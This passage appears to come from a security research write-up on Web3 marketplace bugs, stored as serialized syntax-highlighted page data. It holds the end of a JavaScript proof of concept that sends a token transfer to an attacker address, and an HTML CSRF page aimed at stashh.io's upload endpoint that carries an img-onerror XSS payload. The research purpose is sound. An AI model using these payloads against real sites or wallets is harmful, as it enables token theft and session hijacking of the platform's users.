tokenContract",{"type":25,"tag":216,"props":35936,"children":35937},{"style":6947},[35938],{"type":31,"value":6950},{"type":25,"tag":216,"props":35940,"children":35941},{"style":6930},[35942],{"type":31,"value":35889},{"type":25,"tag":216,"props":35944,"children":35945},{"style":6941},[35946],{"type":31,"value":35880},{"type":25,"tag":216,"props":35948,"children":35949},{"style":6958},[35950],{"type":31,"value":179},{"type":25,"tag":216,"props":35952,"children":35953},{"style":6941},[35954],{"type":31,"value":35955},"eth",{"type":25,"tag":216,"props":35957,"children":35958},{"style":6958},[35959],{"type":31,"value":179},{"type":25,"tag":216,"props":35961,"children":35962},{"style":7041},[35963],{"type":31,"value":35964},"Contract",{"type":25,"tag":216,"props":35966,"children":35967},{"style":6958},[35968],{"type":31,"value":1844},{"type":25,"tag":216,"props":35970,"children":35971},{"style":6941},[35972],{"type":31,"value":35973},"tokenAbi",{"type":25,"tag":216,"props":35975,"children":35976},{"style":6958},[35977],{"type":31,"value":7020},{"type":25,"tag":216,"props":35979,"children":35980},{"style":6941},[35981],{"type":31,"value":35982},"contractAddress",{"type":25,"tag":216,"props":35984,"children":35985},{"style":6958},[35986],{"type":31,"value":7791},{"type":25,"tag":216,"props":35988,"children":35989},{"class":6916,"line":27584},[35990],{"type":25,"tag":216,"props":35991,"children":35992},{"emptyLinePlaceholder":16},[35993],{"type":31,"value":7636},{"type":25,"tag":216,"props":35995,"children":35996},{"class":6916,"line":27592},[35997,36001,36006,36010],{"type":25,"tag":216,"props":35998,"children":35999},{"style":6930},[36000],{"type":31,"value":35503},{"type":25,"tag":216,"props":36002,"children":36003},{"style":6941},[36004],{"type":31,"value":36005}," transactionObject",{"type":25,"tag":216,"props":36007,"children":36008},{"style":6947},[36009],{"type":31,"value":6950},{"type":25,"tag":216,"props":36011,"children":36012},{"style":6958},[36013],{"type":31,"value":7235},{"type":25,"tag":216,"props":36015,"children":36016},{"class":6916,"line":27600},[36017,36022,36026],{"type":25,"tag":216,"props":36018,"children":36019},{"style":6941},[36020],{"type":31,"value":36021},"        from:",{"type":25,"tag":216,"props":36023,"children":36024},{"style":6941},[36025],{"type":31,"value":35508},{"type":25,"tag":216,"props":36027,"children":36028},{"style":6958},[36029],{"type":31,"value":7459},{"type":25,"tag":216,"props":36031,"children":36032},{"class":6916,"line":27609},[36033,36038,36042],{"type":25,"tag":216,"props":36034,"children":36035},{"style":6941},[36036],{"type":31,"value":36037},"        to:",{"type":25,"tag":216,"props":36039,"children":36040},{"style":6941},[36041],{"type":31,"value":35567},{"type":25,"tag":216,"props":36043,"children":36044},{"style":6958},[36045],{"type":31,"value":7459},{"type":25,"tag":216,"props":36047,"children":36048},{"class":6916,"line":27685},[36049,36054,36058,36062],{"type":25,"tag":216,"props":36050,"children":36051},{"style":6941},[36052],{"type":31,"value":36053},"        data:",{"type":25,"tag":216,"props":36055,"children":36056},{"style":6941},[36057],{"type":31,"value":35934},{"type":25,"tag":216,"props":36059,"children":36060},{"style":6958},[36061],{"type":31,"value":179},{"type":25,"tag":216,"props":36063,"children":36064},{"style":6941},[36065],{"type":31,"value":36066},"methods\n",{"type":25,"tag":216,"props":36068,"children":36069},{"class":6916,"line":27718},[36070,36075,36080,36084,36089,36093,36098,36102,36107,36111,36116,36120,36125,36129,36134],{"type":25,"tag":216,"props":36071,"children":36072},{"style":6958},[36073],{"type":31,"value":36074},"          .",{"type":25,"tag":216,"props":36076,"children":36077},{"style":7041},[36078],{"type":31,"value":36079},"transfer",{"type":25,"tag":216,"props":36081,"children":36082},{"style":6958},[36083],{"type":31,"value":1844},{"type":25,"tag":216,"props":36085,"children":36086},{"style":6941},[36087],{"type":31,"value":36088},"attackerAddress",{"type":25,"tag":216,"props":36090,"children":36091},{"style":6958},[36092],{"type":31,"value":7020},{"type":25,"tag":216,"props":36094,"children":36095},{"style":6941},[36096],{"type":31,"value":36097},"web3",{"type":25,"tag":216,"props":36099,"children":36100},{"style":6958},[36101],{"type":31,"value":179},{"type":25,"tag":216,"props":36103,"children":36104},{"style":6941},[36105],{"type":31,"value":36106},"utils",{"type":25,"tag":216,"props":36108,"children":36109},{"style":6958},[36110],{"type":31,"value":179},{"type":25,"tag":216,"props":36112,"children":36113},{"style":7041},[36114],{"type":31,"value":36115},"toWei",{"type":25,"tag":216,"props":36117,"children":36118},{"style":6958},[36119],{"type":31,"value":1844},{"type":25,"tag":216,"props":36121,"children":36122},{"style":8199},[36123],{"type":31,"value":36124},"'100000000'",{"type":25,"tag":216,"props":36126,"children":36127},{"style":6958},[36128],{"type":31,"value":7020},{"type":25,"tag":216,"props":36130,"children":36131},{"style":8199},[36132],{"type":31,"value":36133},"'ether'",{"type":25,"tag":216,"props":36135,"children":36136},{"style":6958},[36137],{"type":31,"value":23666},{"type":25,"tag":216,"props":36139,"children":36140},{"class":6916,"line":27726},[36141,36145,36150],{"type":25,"tag":216,"props":36142,"children":36143},{"style":6958},[36144],{"type":31,"value":36074},{"type":25,"tag":216,"props":36146,"children":36147},{"style":7041},[36148],{"type":31,"value":36149},"encodeABI",{"type":25,"tag":216,"props":36151,"children":36152},{"style":6958},[36153],{"type":31,"value":7442},{"type":25,"tag":216,"props":36155,"children":36156},{"class":6916,"line":27734},[36157],{"type":25,"tag":216,"props":36158,"children":36159},{"style":6958},[36160],{"type":31,"value":12868},{"type":25,"tag":216,"props":36162,"children":36163},{"class":6916,"line":27771},[36164],{"type":25,"tag":216,"props":36165,"children":36166},{"emptyLinePlaceholder":16},[36167],{"type":31,"value":7636},{"type":25,"tag":216,"props":36169,"children":36170},{"class":6916,"line":27784},[36171,36176,36180,36184,36188,36193,36197,36202],{"type":25,"tag":216,"props":36172,"children":36173},{"style":6941},[36174],{"type":31,"value":36175},"      web3",{"type":25,"tag":216,"props":36177,"children":36178},{"style":6958},[36179],{"type":31,"value":179},{"type":25,"tag":216,"props":36181,"children":36182},{"style":6941},[36183],{"type":31,"value":35955},{"type":25,"tag":216,"props":36185,"children":36186},{"style":6958},[36187],{"type":31,"value":179},{"type":25,"tag":216,"props":36189,"children":36190},{"style":7041},[36191],{"type":31,"value":36192},"sendTransaction",{"type":25,"tag":216,"props":36194,"children":36195},{"style":6958},[36196],{"type":31,"value":1844},{"type":25,"tag":216,"props":36198,"children":36199},{"style":6941},[36200],{"type":31,"value":36201},"transactionObject",{"type":25,"tag":216,"props":36203,"children":36204},{"style":6958},[36205],{"type":31,"value":7791},{"type":25,"tag":216,"props":36207,"children":36208},{"class":6916,"line":27797},[36209],{"type":25,"tag":216,"props":36210,"children":36211},{"style":6958},[36212],{"type":31,"value":36213},"    });\n",{"type":25,"tag":216,"props":36215,"children":36216},{"class":6916,"line":27810},[36217],{"type":25,"tag":216,"props":36218,"children":36219},{"style":6958},[36220],{"type":31,"value":9817},{"type":25,"tag":216,"props":36222,"children":36223},{"class":6916,"line":27864},[36224],{"type":25,"tag":216,"props":36225,"children":36226},{"style":6958},[36227],{"type":31,"value":7868},{"type":25,"tag":216,"props":36229,"children":36230},{"class":6916,"line":27873},[36231],{"type":25,"tag":216,"props":36232,"children":36233},{"emptyLinePlaceholder":16},[36234],{"type":31,"value":7636},{"type":25,"tag":216,"props":36236,"children":36238},{"class":6916,"line":36237},51,[36239,36243,36247,36252],{"type":25,"tag":216,"props":36240,"children":36241},{"style":6930},[36242],{"type":31,"value":23437},{"type":25,"tag":216,"props":36244,"children":36245},{"style":6958},[36246],{"type":31,"value":1844},{"type":25,"tag":216,"props":36248,"children":36249},{"style":8199},[36250],{"type":31,"value":36251},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":25,"tag":216,"props":36253,"children":36254},{"style":6958},[36255],{"type":31,"value":7791},{"type":25,"tag":216,"props":36257,"children":36259},{"class":6916,"line":36258},52,[36260,36265,36269,36273,36277,36282],{"type":25,"tag":216,"props":36261,"children":36262},{"style":7041},[36263],{"type":31,"value":36264},"setTimeout",{"type":25,"tag":216,"props":36266,"children":36267},{"style":6958},[36268],{"type":31,"value":1844},{"type":25,"tag":216,"props":36270,"children":36271},{"style":6941},[36272],{"type":31,"value":35449},{"type":25,"tag":216,"props":36274,"children":36275},{"style":6958},[36276],{"type":31,"value":7020},{"type":25,"tag":216,"props":36278,"children":36279},{"style":6983},[36280],{"type":31,"value":36281},"1e3",{"type":25,"tag":216,"props":36283,"children":36284},{"style":6958},[36285],{"type":31,"value":7791},{"type":25,"tag":38,"props":36287,"children":36288},{},[36289,36294],{"type":25,"tag":9267,"props":36290,"children":36291},{},[36292],{"type":31,"value":36293},"CSRF & XSS",{"type":31,"value":36295},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":25,"tag":38,"props":36297,"children":36298},{},[36299,36301,36306],{"type":31,"value":36300},"Our attention was drawn to ",{"type":25,"tag":162,"props":36302,"children":36304},{"href":35236,"rel":36303},[166],[36305],{"type":31,"value":35240},{"type":31,"value":36307},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":25,"tag":38,"props":36309,"children":36310},{},[36311],{"type":25,"tag":6461,"props":36312,"children":36314},{"alt":7,"src":36313},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":25,"tag":38,"props":36316,"children":36317},{},[36318],{"type":31,"value":36319},"and here there is the code:",{"type":25,"tag":206,"props":36321,"children":36323},{"className":35319,"code":36322,"language":35321,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[36324],{"type":25,"tag":82,"props":36325,"children":36326},{"__ignoreMap":7},[36327,36344,36361,36395,36481,36538,36737,36778,36794,36810,36817,36832,36839,36851,36909,36916,36979,37008,37046,37053,37091,37104,37111,37126],{"type":25,"tag":216,"props":36328,"children":36329},{"class":6916,"line":6917},[36330,36335,36340],{"type":25,"tag":216,"props":36331,"children":36333},{"style":36332},"--shiki-default:#808080",[36334],{"type":31,"value":9751},{"type":25,"tag":216,"props":36336,"children":36337},{"style":6930},[36338],{"type":31,"value":36339},"html",{"type":25,"tag":216,"props":36341,"children":36342},{"style":36332},[36343],{"type":31,"value":9937},{"type":25,"tag":216,"props":36345,"children":36346},{"class":6916,"line":6763},[36347,36352,36357],{"type":25,"tag":216,"props":36348,"children":36349},{"style":36332},[36350],{"type":31,"value":36351},"  \u003C",{"type":25,"tag":216,"props":36353,"children":36354},{"style":6930},[36355],{"type":31,"value":36356},"body",{"type":25,"tag":216,"props":36358,"children":36359},{"style":36332},[36360],{"type":31,"value":9937},{"type":25,"tag":216,"props":36362,"children":36363},{"class":6916,"line":6772},[36364,36368,36373,36377,36382,36387,36391],{"type":25,"tag":216,"props":36365,"children":36366},{"style":36332},[36367],{"type":31,"value":36351},{"type":25,"tag":216,"props":36369,"children":36370},{"style":6930},[36371],{"type":31,"value":36372},"script",{"type":25,"tag":216,"props":36374,"children":36375},{"style":36332},[36376],{"type":31,"value":5896},{"type":25,"tag":216,"props":36378,"children":36379},{"style":6958},[36380],{"type":31,"value":36381},"history.pushState('', '', '/')",{"type":25,"tag":216,"props":36383,"children":36384},{"style":36332},[36385],{"type":31,"value":36386},"\u003C/",{"type":25,"tag":216,"props":36388,"children":36389},{"style":6930},[36390],{"type":31,"value":36372},{"type":25,"tag":216,"props":36392,"children":36393},{"style":36332},[36394],{"type":31,"value":9937},{"type":25,"tag":216,"props":36396,"children":36397},{"class":6916,"line":6999},[36398,36403,36408,36413,36417,36422,36427,36431,36436,36440,36444,36449,36454,36458,36463,36468,36472,36477],{"type":25,"tag":216,"props":36399,"children":36400},{"style":36332},[36401],{"type":31,"value":36402},"    \u003C",{"type":25,"tag":216,"props":36404,"children":36405},{"style":6930},[36406],{"type":31,"value":36407},"form",{"type":25,"tag":216,"props":36409,"children":36410},{"style":6941},[36411],{"type":31,"value":36412}," id",{"type":25,"tag":216,"props":36414,"children":36415},{"style":6947},[36416],{"type":31,"value":266},{"type":25,"tag":216,"props":36418,"children":36419},{"style":8199},[36420],{"type":31,"value":36421},"\"form123\"",{"type":25,"tag":216,"props":36423,"children":36424},{"style":6941},[36425],{"type":31,"value":36426}," action",{"type":25,"tag":216,"props":36428,"children":36429},{"style":6947},[36430],{"type":31,"value":266},{"type":25,"tag":216,"props":36432,"children":36433},{"style":8199},[36434],{"type":31,"value":36435},"\"https://stashh.io/upload_asset\"",{"type":25,"tag":216,"props":36437,"children":36438},{"style":6941},[36439],{"type":31,"value":21062},{"type":25,"tag":216,"props":36441,"children":36442},{"style":6947},[36443],{"type":31,"value":266},{"type":25,"tag":216,"props":36445,"children":36446},{"style":8199},[36447],{"type":31,"value":36448},"\"POST\"",{"type":25,"tag":216,"props":36450,"children":36451},{"style":6941},[36452],{"type":31,"value":36453}," enctype",{"type":25,"tag":216,"props":36455,"children":36456},{"style":6947},[36457],{"type":31,"value":266},{"type":25,"tag":216,"props":36459,"children":36460},{"style":8199},[36461],{"type":31,"value":36462},"\"multipart/form-data\"",{"type":25,"tag":216,"props":36464,"children":36465},{"style":6941},[36466],{"type":31,"value":36467}," value",{"type":25,"tag":216,"props":36469,"children":36470},{"style":6947},[36471],{"type":31,"value":266},{"type":25,"tag":216,"props":36473,"children":36474},{"style":8199},[36475],{"type":31,"value":36476},"\"asd\"",{"type":25,"tag":216,"props":36478,"children":36479},{"style":36332},[36480],{"type":31,"value":9937},{"type":25,"tag":216,"props":36482,"children":36483},{"class":6916,"line":7104},[36484,36489,36493,36498,36502,36507,36512,36516,36521,36525,36529,36534],{"type":25,"tag":216,"props":36485,"children":36486},{"style":36332},[36487],{"type":31,"value":36488},"     \u003C",{"type":25,"tag":216,"props":36490,"children":36491},{"style":6930},[36492],{"type":31,"value":12313},{"type":25,"tag":216,"props":36494,"children":36495},{"style":6941},[36496],{"type":31,"value":36497}," type",{"type":25,"tag":216,"props":36499,"children":36500},{"style":6947},[36501],{"type":31,"value":266},{"type":25,"tag":216,"props":36503,"children":36504},{"style":8199},[36505],{"type":31,"value":36506},"\"file\"",{"type":25,"tag":216,"props":36508,"children":36509},{"style":6941},[36510],{"type":31,"value":36511}," name",{"type":25,"tag":216,"props":36513,"children":36514},{"style":6947},[36515],{"type":31,"value":266},{"type":25,"tag":216,"props":36517,"children":36518},{"style":8199},[36519],{"type":31,"value":36520},"\"data\"",{"type":25,"tag":216,"props":36522,"children":36523},{"style":6941},[36524],{"type":31,"value":36412},{"type":25,"tag":216,"props":36526,"children":36527},{"style":6947},[36528],{"type":31,"value":266},{"type":25,"tag":216,"props":36530,"children":36531},{"style":8199},[36532],{"type":31,"value":36533},"\"file123\"",{"type":25,"tag":216,"props":36535,"children":36536},{"style":36332},[36537],{"type":31,"value":9937},{"type":25,"tag":216,"props":36539,"children":36540},{"class":6916,"line":7210},[36541,36546,36550,36554,36558,36563,36567,36571,36576,36580,36584,36588,36593,36598,36603,36608,36613,36617,36622,36627,36632,36636,36641,36646,36650,36655,36660,36665,36670,36675,36680,36685,36689,36694,36699,36704,36709,36714,36718,36723,36728,36732],{"type":25,"tag":216,"props":36542,"children":36543},{"style":36332},[36544],{"type":31,"value":36545},"      \u003C",{"type":25,"tag":216,"props":36547,"children":36548},{"style":6930},[36549],{"type":31,"value":12313},{"type":25,"tag":216,"props":36551,"children":36552},{"style":6941},[36553],{"type":31,"value":36497},{"type":25,"tag":216,"props":36555,"children":36556},{"style":6947},[36557],{"type":31,"value":266},{"type":25,"tag":216,"props":36559,"children":36560},{"style":8199},[36561],{"type":31,"value":36562},"\"hidden\"",{"type":25,"tag":216,"props":36564,"children":36565},{"style":6941},[36566],{"type":31,"value":36511},{"type":25,"tag":216,"props":36568,"children":36569},{"style":6947},[36570],{"type":31,"value":266},{"type":25,"tag":216,"props":36572,"children":36573},{"style":8199},[36574],{"type":31,"value":36575},"\"config\"",{"type":25,"tag":216,"props":36577,"children":36578},{"style":6941},[36579],{"type":31,"value":36467},{"type":25,"tag":216,"props":36581,"children":36582},{"style":6947},[36583],{"type":31,"value":266},{"type":25,"tag":216,"props":36585,"children":36586},{"style":8199},[36587],{"type":31,"value":24014},{"type":25,"tag":216,"props":36589,"children":36590},{"style":6930},[36591],{"type":31,"value":36592},"{"",{"type":25,"tag":216,"props":36594,"children":36595},{"style":8199},[36596],{"type":31,"value":36597},"address",{"type":25,"tag":216,"props":36599,"children":36600},{"style":6930},[36601],{"type":31,"value":36602},"":"",{"type":25,"tag":216,"props":36604,"children":36605},{"style":8199},[36606],{"type":31,"value":36607},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":25,"tag":216,"props":36609,"children":36610},{"style":6930},[36611],{"type":31,"value":36612},"<",{"type":25,"tag":216,"props":36614,"children":36615},{"style":8199},[36616],{"type":31,"value":6461},{"type":25,"tag":216,"props":36618,"children":36619},{"style":6930},[36620],{"type":31,"value":36621},"/",{"type":25,"tag":216,"props":36623,"children":36624},{"style":8199},[36625],{"type":31,"value":36626},"src",{"type":25,"tag":216,"props":36628,"children":36629},{"style":6930},[36630],{"type":31,"value":36631},"=",{"type":25,"tag":216,"props":36633,"children":36634},{"style":8199},[36635],{"type":31,"value":2535},{"type":25,"tag":216,"props":36637,"children":36638},{"style":6930},[36639],{"type":31,"value":36640}," ",{"type":25,"tag":216,"props":36642,"children":36643},{"style":8199},[36644],{"type":31,"value":36645},"onerror",{"type":25,"tag":216,"props":36647,"children":36648},{"style":6930},[36649],{"type":31,"value":36631},{"type":25,"tag":216,"props":36651,"children":36652},{"style":8199},[36653],{"type":31,"value":36654},"alert",{"type":25,"tag":216,"props":36656,"children":36657},{"style":6930},[36658],{"type":31,"value":36659},"(",{"type":25,"tag":216,"props":36661,"children":36662},{"style":8199},[36663],{"type":31,"value":36664},"document",{"type":25,"tag":216,"props":36666,"children":36667},{"style":6930},[36668],{"type":31,"value":36669},".",{"type":25,"tag":216,"props":36671,"children":36672},{"style":8199},[36673],{"type":31,"value":36674},"domain",{"type":25,"tag":216,"props":36676,"children":36677},{"style":6930},[36678],{"type":31,"value":36679},")>","",{"type":25,"tag":216,"props":36681,"children":36682},{"style":8199},[36683],{"type":31,"value":36684},"to",{"type":25,"tag":216,"props":36686,"children":36687},{"style":6930},[36688],{"type":31,"value":36602},{"type":25,"tag":216,"props":36690,"children":36691},{"style":8199},[36692],{"type":31,"value":36693},"profile",{"type":25,"tag":216,"props":36695,"children":36696},{"style":6930},[36697],{"type":31,"value":36698},"-",{"type":25,"tag":216,"props":36700,"children":36701},{"style":8199},[36702],{"type":31,"value":36703},"assets",{"type":25,"tag":216,"props":36705,"children":36706},{"style":6930},[36707],{"type":31,"value":36708},"","",{"type":25,"tag":216,"props":36710,"children":36711},{"style":8199},[36712],{"type":31,"value":36713},"type",{"type":25,"tag":216,"props":36715,"children":36716},{"style":6930},[36717],{"type":31,"value":36602},{"type":25,"tag":216,"props":36719,"children":36720},{"style":8199},[36721],{"type":31,"value":36722},"icon",{"type":25,"tag":216,"props":36724,"children":36725},{"style":6930},[36726],{"type":31,"value":36727},""}",{"type":25,"tag":216,"props":36729,"children":36730},{"style":8199},[36731],{"type":31,"value":24014},{"type":25,"tag":216,"props":36733,"children":36734},{"style":36332},[36735],{"type":31,"value":36736}," />\n",{"type":25,"tag":216,"props":36738,"children":36739},{"class":6916,"line":7238},[36740,36744,36748,36752,36756,36761,36765,36769,36774],{"type":25,"tag":216,"props":36741,"children":36742},{"style":36332},[36743],{"type":31,"value":36545},{"type":25,"tag":216,"props":36745,"children":36746},{"style":6930},[36747],{"type":31,"value":12313},{"type":25,"tag":216,"props":36749,"children":36750},{"style":6941},[36751],{"type":31,"value":36497},{"type":25,"tag":216,"props":36753,"children":36754},{"style":6947},[36755],{"type":31,"value":266},{"type":25,"tag":216,"props":36757,"children":36758},{"style":8199},[36759],{"type":31,"value":36760},"\"submit\"",{"type":25,"tag":216,"props":36762,"children":36763},{"style":6941},[36764],{"type":31,"value":36467},{"type":25,"tag":216,"props":36766,"children":36767},{"style":6947},[36768],{"type":31,"value":266},{"type":25,"tag":216,"props":36770,"children":36771},{"style":8199},[36772],{"type":31,"value":36773},"\"Submit request\"",{"type":25,"tag":216,"props":36775,"children":36776},{"style":36332},[36777],{"type":31,"value":36736},{"type":25,"tag":216,"props":36779,"children":36780},{"class":6916,"line":7251},[36781,36786,36790],{"type":25,"tag":216,"props":36782,"children":36783},{"style":36332},[36784],{"type":31,"value":36785},"    \u003C/",{"type":25,"tag":216,"props":36787,"children":36788},{"style":6930},[36789],{"type":31,"value":36407},{"type":25,"tag":216,"props":36791,"children":36792},{"style":36332},[36793],{"type":31,"value":9937},{"type":25,"tag":216,"props":36795,"children":36796},{"class":6916,"line":7269},[36797,36802,36806],{"type":25,"tag":216,"props":36798,"children":36799},{"style":36332},[36800],{"type":31,"value":36801},"  \u003C/",{"type":25,"tag":216,"props":36803,"children":36804},{"style":6930},[36805],{"type":31,"value":36356},{"type":25,"tag":216,"props":36807,"children":36808},{"style":36332},[36809],{"type":31,"value":9937},{"type":25,"tag":216,"props":36811,"children":36812},{"class":6916,"line":7290},[36813],{"type":25,"tag":216,"props":36814,"children":36815},{"emptyLinePlaceholder":16},[36816],{"type":31,"value":7636},{"type":25,"tag":216,"props":36818,"children":36819},{"class":6916,"line":7299},[36820,36824,36828],{"type":25,"tag":216,"props":36821,"children":36822},{"style":36332},[36823],{"type":31,"value":36351},{"type":25,"tag":216,"props":36825,"children":36826},{"style":6930},[36827],{"type":31,"value":36372},{"type":25,"tag":216,"props":36829,"children":36830},{"style":36332},[36831],{"type":31,"value":9937},{"type":25,"tag":216,"props":36833,"children":36834},{"class":6916,"line":7551},[36835],{"type":25,"tag":216,"props":36836,"children":36837},{"emptyLinePlaceholder":16},[36838],{"type":31,"value":7636},{"type":25,"tag":216,"props":36840,"children":36841},{"class":6916,"line":7568},[36842,36847],{"type":25,"tag":216,"props":36843,"children":36844},{"style":6958},[36845],{"type":31,"value":36846},"    (async ()=>",{"type":25,"tag":216,"props":36848,"children":36849},{"style":6930},[36850],{"type":31,"value":14830},{"type":25,"tag":216,"props":36852,"children":36853},{"class":6916,"line":7585},[36854,36859,36864,36868,36873,36877,36881,36886,36890,36895,36900,36905],{"type":25,"tag":216,"props":36855,"children":36856},{"style":6941},[36857],{"type":31,"value":36858},"        const",{"type":25,"tag":216,"props":36860,"children":36861},{"style":6941},[36862],{"type":31,"value":36863}," blob",{"type":25,"tag":216,"props":36865,"children":36866},{"style":6947},[36867],{"type":31,"value":4977},{"type":25,"tag":216,"props":36869,"children":36870},{"style":6967},[36871],{"type":31,"value":36872},"await",{"type":25,"tag":216,"props":36874,"children":36875},{"style":6947},[36876],{"type":31,"value":7010},{"type":25,"tag":216,"props":36878,"children":36879},{"style":6967},[36880],{"type":31,"value":36872},{"type":25,"tag":216,"props":36882,"children":36883},{"style":7041},[36884],{"type":31,"value":36885}," fetch",{"type":25,"tag":216,"props":36887,"children":36888},{"style":6947},[36889],{"type":31,"value":1844},{"type":25,"tag":216,"props":36891,"children":36892},{"style":8199},[36893],{"type":31,"value":36894},"\"/sapo.png\"",{"type":25,"tag":216,"props":36896,"children":36897},{"style":6947},[36898],{"type":31,"value":36899},")).",{"type":25,"tag":216,"props":36901,"children":36902},{"style":7041},[36903],{"type":31,"value":36904},"blob",{"type":25,"tag":216,"props":36906,"children":36907},{"style":6947},[36908],{"type":31,"value":11681},{"type":25,"tag":216,"props":36910,"children":36911},{"class":6916,"line":7598},[36912],{"type":25,"tag":216,"props":36913,"children":36914},{"emptyLinePlaceholder":16},[36915],{"type":31,"value":7636},{"type":25,"tag":216,"props":36917,"children":36918},{"class":6916,"line":7607},[36919,36923,36928,36932,36936,36941,36946,36950,36954,36959,36964,36969,36974],{"type":25,"tag":216,"props":36920,"children":36921},{"style":6941},[36922],{"type":31,"value":7005},{"type":25,"tag":216,"props":36924,"children":36925},{"style":6941},[36926],{"type":31,"value":36927}," f",{"type":25,"tag":216,"props":36929,"children":36930},{"style":6947},[36931],{"type":31,"value":4977},{"type":25,"tag":216,"props":36933,"children":36934},{"style":6930},[36935],{"type":31,"value":19074},{"type":25,"tag":216,"props":36937,"children":36938},{"style":7041},[36939],{"type":31,"value":36940}," File",{"type":25,"tag":216,"props":36942,"children":36943},{"style":6947},[36944],{"type":31,"value":36945},"([",{"type":25,"tag":216,"props":36947,"children":36948},{"style":6941},[36949],{"type":31,"value":36904},{"type":25,"tag":216,"props":36951,"children":36952},{"style":6947},[36953],{"type":31,"value":27000},{"type":25,"tag":216,"props":36955,"children":36956},{"style":8199},[36957],{"type":31,"value":36958},"'sapo.png'",{"type":25,"tag":216,"props":36960,"children":36961},{"style":6947},[36962],{"type":31,"value":36963},", {",{"type":25,"tag":216,"props":36965,"children":36966},{"style":6941},[36967],{"type":31,"value":36968},"type:",{"type":25,"tag":216,"props":36970,"children":36971},{"style":8199},[36972],{"type":31,"value":36973}," 'image/png'",{"type":25,"tag":216,"props":36975,"children":36976},{"style":6947},[36977],{"type":31,"value":36978},"})\n",{"type":25,"tag":216,"props":36980,"children":36981},{"class":6916,"line":7630},[36982,36986,36991,36995,36999,37004],{"type":25,"tag":216,"props":36983,"children":36984},{"style":6941},[36985],{"type":31,"value":36858},{"type":25,"tag":216,"props":36987,"children":36988},{"style":6941},[36989],{"type":31,"value":36990}," dataTransfer",{"type":25,"tag":216,"props":36992,"children":36993},{"style":6947},[36994],{"type":31,"value":4977},{"type":25,"tag":216,"props":36996,"children":36997},{"style":6930},[36998],{"type":31,"value":19074},{"type":25,"tag":216,"props":37000,"children":37001},{"style":7041},[37002],{"type":31,"value":37003}," DataTransfer",{"type":25,"tag":216,"props":37005,"children":37006},{"style":6947},[37007],{"type":31,"value":7627},{"type":25,"tag":216,"props":37009,"children":37010},{"class":6916,"line":7639},[37011,37016,37020,37025,37029,37033,37037,37042],{"type":25,"tag":216,"props":37012,"children":37013},{"style":6941},[37014],{"type":31,"value":37015},"        dataTransfer",{"type":25,"tag":216,"props":37017,"children":37018},{"style":6947},[37019],{"type":31,"value":179},{"type":25,"tag":216,"props":37021,"children":37022},{"style":6941},[37023],{"type":31,"value":37024},"items",{"type":25,"tag":216,"props":37026,"children":37027},{"style":6947},[37028],{"type":31,"value":179},{"type":25,"tag":216,"props":37030,"children":37031},{"style":7041},[37032],{"type":31,"value":13588},{"type":25,"tag":216,"props":37034,"children":37035},{"style":6947},[37036],{"type":31,"value":1844},{"type":25,"tag":216,"props":37038,"children":37039},{"style":6941},[37040],{"type":31,"value":37041},"f",{"type":25,"tag":216,"props":37043,"children":37044},{"style":6947},[37045],{"type":31,"value":7791},{"type":25,"tag":216,"props":37047,"children":37048},{"class":6916,"line":7648},[37049],{"type":25,"tag":216,"props":37050,"children":37051},{"emptyLinePlaceholder":16},[37052],{"type":31,"value":7636},{"type":25,"tag":216,"props":37054,"children":37055},{"class":6916,"line":7716},[37056,37061,37065,37070,37074,37079,37083,37087],{"type":25,"tag":216,"props":37057,"children":37058},{"style":6941},[37059],{"type":31,"value":37060},"        file123",{"type":25,"tag":216,"props":37062,"children":37063},{"style":6947},[37064],{"type":31,"value":179},{"type":25,"tag":216,"props":37066,"children":37067},{"style":6941},[37068],{"type":31,"value":37069},"files",{"type":25,"tag":216,"props":37071,"children":37072},{"style":6947},[37073],{"type":31,"value":4977},{"type":25,"tag":216,"props":37075,"children":37076},{"style":6941},[37077],{"type":31,"value":37078},"dataTransfer",{"type":25,"tag":216,"props":37080,"children":37081},{"style":6947},[37082],{"type":31,"value":179},{"type":25,"tag":216,"props":37084,"children":37085},{"style":6941},[37086],{"type":31,"value":37069},{"type":25,"tag":216,"props":37088,"children":37089},{"style":6947},[37090],{"type":31,"value":6961},{"type":25,"tag":216,"props":37092,"children":37093},{"class":6916,"line":7724},[37094,37099],{"type":25,"tag":216,"props":37095,"children":37096},{"style":6930},[37097],{"type":31,"value":37098},"    }",{"type":25,"tag":216,"props":37100,"children":37101},{"style":6958},[37102],{"type":31,"value":37103},")()\n",{"type":25,"tag":216,"props":37105,"children":37106},{"class":6916,"line":7754},[37107],{"type":25,"tag":216,"props":37108,"children":37109},{"emptyLinePlaceholder":16},[37110],{"type":31,"value":7636},{"type":25,"tag":216,"props":37112,"children":37113},{"class":6916,"line":7762},[37114,37118,37122],{"type":25,"tag":216,"props":37115,"children":37116},{"style":36332},[37117],{"type":31,"value":36801},{"type":25,"tag":216,"props":37119,"children":37120},{"style":6930},[37121],{"type":31,"value":36372},{"type":25,"tag":216,"props":37123,"children":37124},{"style":36332},[37125],{"type":31,"value":9937},{"type":25,"tag":216,"props":37127,"children":37128},{"class":6916,"line":7794},[37129,37133,37137],{"type":25,"tag":216,"props":37130,"children":37131},{"style":36332},[37132],{"type":31,"value":36386},{"type":25,"tag":216,"props":37134,"children":37135},{"style":6930},[37136],{"type":31,"value":36339},{"type":25,"tag":216,"props":37138,